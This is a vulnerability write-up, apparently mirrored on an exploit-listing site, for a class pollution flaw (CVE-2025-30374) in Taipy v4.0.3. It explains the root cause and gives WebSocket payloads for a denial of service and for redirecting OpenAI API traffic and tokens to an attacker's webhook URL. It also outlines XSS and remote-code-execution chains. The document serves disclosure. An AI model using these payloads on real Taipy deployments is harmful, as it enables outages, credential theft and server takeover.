Sploitus

Exploit for CVE-2025-30374

githubexploit Β· 2026-08-05

Exploit Code

README124 lines
## https://sploitus.com/exploit?id=45087582-17AC-54B4-A395-D4B3F42789BA
# CVE-2025-30374

### Class Pollution Vulnerability in Taipy Leading to RCE, XSS, DoS, and Credential Leakage

### Summary

A class pollution vulnerability has been identified in Taipy v4.0.3 (the latest version at the time of discovery). This vulnerability allows unauthorized attackers to overwrite the Taipy server-side runtime context, leading to severe consequences such as RCE, Reflected XSS, Denial of Service (DoS), and leakage of sensitive authorization credentials (e.g., OpenAI tokens).

### Details

**Backgrounds**

Class pollution (analogous to prototype pollution in JavaScript) is a relatively new vulnerability in Python. It occurs when an attacker can unexpectedly overwrite a module's global variables or the attributes of certain classes and functions at runtime. This issue is categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html).

For more information about class pollution, please refer to:

[1] [Class Pollution Wiki](https://class-pollution.github.io/)
[2] [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)

**Class Pollution Vulnerability found in Taipy**

The root cause of this vulnerability lies in Taipy's use of a recursive set function to update variable values in the Taipy states. Both the `name` and `value` parameters are derived from client-side input and lack proper validation. This allows an attacker to inject malicious attribute paths, such as `_TpN_tpec_TpExPr_value_TPMDL_2.__class__.__base__.set`, to overwrite the `set` method of `_TaipyBase`.

The following functions are invoked in multiple routes via `_manage_message` to update states from the client side:

```python
# taipy/gui/utils/_attributes.py#L37-L42 (commit 5c56f12)
def _setscopeattr_drill(gui: "Gui", name: str, value: t.Any):
    if gui._is_broadcasting():
        for scope in gui._get_all_data_scopes().values():
            _attrsetter(scope, name, value)
    else:
        _attrsetter(gui._get_data_scope(), name, value)
```

```python
# taipy/gui/utils/_attributes.py#L53-L58 (commit 5c56f12)
def _attrsetter(obj: object, attr_str: str, value: object) -> None:
    var_name_split = attr_str.split(sep=".")
    for i in range(len(var_name_split) - 1):
        sub_name = var_name_split[i]
        obj = getattr(obj, sub_name)
    setattr(obj, var_name_split[-1], value)
```

### PoC

**Consequence 1: DoS**

Video PoC: https://drive.google.com/file/d/1BESvtyaJyEOp0BkeFdZFdwj83_E9wp18/view?usp=sharing

1. Set up the tutorial case from the [Taipy Getting Started Guide](https://docs.taipy.io/en/latest/tutorials/getting_started/) at `http://localhost:5000`.
2. Visit the page, intercept the WebSocket request, and replace the `name` field with `_TpN_tpec_TpExPr_value_TPMDL_2.__class__.__base__.set`. This overwrites the `set` method of `_TaipyBase` with a non-callable integer.

    ```python
    42["message",{"type":"U","name":"_TpN_tpec_TpExPr_value_TPMDL_2.__class__.__base__.set","payload":{"value":71,"on_change":"slider_moved"},"propagate":true,"client_id":"20250313210404484031-0.3099351422929606","ack_id":"Li_DKilnNL_N2AILnmFsD","module_context":"__main__"},null]
    ```

3. Refresh the page and observe that dragging the slider causes the application to crash.

**Consequence 2: OpenAI Token Leakage**

Video PoC: https://drive.google.com/file/d/1uXiHpO-SzE1jhHzMRCTZo9CSOZHORTmT/view?usp=sharing

1. Set up the LLM ChatBot example from the [Taipy ChatBot Tutorial](https://docs.taipy.io/en/latest/tutorials/articles/chatbot/) at `http://localhost:5000`. The source code can be found [here](https://github.com/Avaiga/demo-chatbot).
2. Visit the page, send a message (e.g., "hello"), and intercept the WebSocket request. Replace the `name` field with `client.base_url` and the `value` field with an attacker-controlled domain (e.g., `https://webhook.site/0df4ac02-0b20-4ffc-bbda-287da8bc8a0a`). This step may require multiple attempts to succeed.

    ```python
    42["message",{"type":"U","name":"client.base_url","payload":{"value":"https://webhook.site/0df4ac02-0b20-4ffc-bbda-287da8bc8a0a"},"propagate":true,"client_id":"20250315152148416630-0.5672333200699874","ack_id":"8OBXzCgeNv_DDW4MGpgnW","module_context":"__main__"},null]
    ```

3. Send additional messages and observe that requests intended for OpenAI are redirected to the attacker-controlled server, along with the associated OpenAI token.

**Consequence 3: XSS**

![taipy-xss-v4 0 2](assets/481461776-0aae38bb-8f08-4850-93c0-ffd60d9006ee.gif)

In the following function, when the application attempts to render user content, if the appropriate renderer is not found, it falls back to returning `type(content).__name__` as the HTML response:

```python
# taipy/gui/gui.py#L544 (commit 439c7f5)
return (
    ''
    + (f"No valid provider for type {type(content).__name__}" if content else "Wrong context.")
    + ""
)
```

However, the `__name__` attribute of a class object is settable through class pollution, e.g., `tp_TpExPr_gui_get_adapted_lov_past_conversations_NoneType_TPMDL_2_0.__class__.__name__`. An attacker can overwrite this attribute with a malicious HTML or JavaScript payload.

The complete exploit can be found at: [poc-xss.py](poc-xss.py)

**Consequence 4: RCE**

![taipy-rce-v4 0 2](assets/481462237-6419bc85-2492-44f2-857e-a7f60158ae31.gif)

Next, we show how to lead to RCE attack.

The class pollution vulnerability allows attackers to set arbitrary attributes on objects that appear in the session state, which does not contain many sensitive objects by default. However, we found that the `Gui.on_action` route can be leveraged to invoke the `Gui.table_on_edit` handler, which causes new objects from the `__main__` module to be bound into the session state. In the following line, a `getattr` call on the state object automatically triggers the binding operation, while a subsequent `setattr` immediately resets the bound value to `None`:

```python
# taipy/gui/gui.py#L1872 (commit 439c7f5)
setattr(state, var_name, self._get_accessor().on_edit(getattr(state, var_name), payload))
```

This behavior creates a brief race window where object references, such as the `Gui` class, temporarily exist in the session state. During this window, attackers can exploit class pollution to overwrite attributes on those objects.

We further discovered that the `Gui.__SELF_VAR` attribute is used as a prefix when constructing expressions that are passed to Python's built-in `eval()` function:

```python
# taipy/gui/gui.py#L146, L3011 (commit 439c7f5)
__SELF_VAR = "__gui"
# ...
glob_ctx[Gui.__SELF_VAR] = self
```

By overwriting the `__SELF_VAR` value through class pollution, an attacker can control the expression being evaluated, ultimately leading to arbitrary code execution on the server.

The complete exploit can be found at: [poc-rce.py](poc-rce.py) and [poc-rce-no-dot.py](poc-rce-no-dot.py)

### Impact

Any user of Taipy can exploit this vulnerability to launch RCE, Reflected XSS, Denial of Service (DoS) and leakage of sensitive authorization credentials (e.g., OpenAI tokens).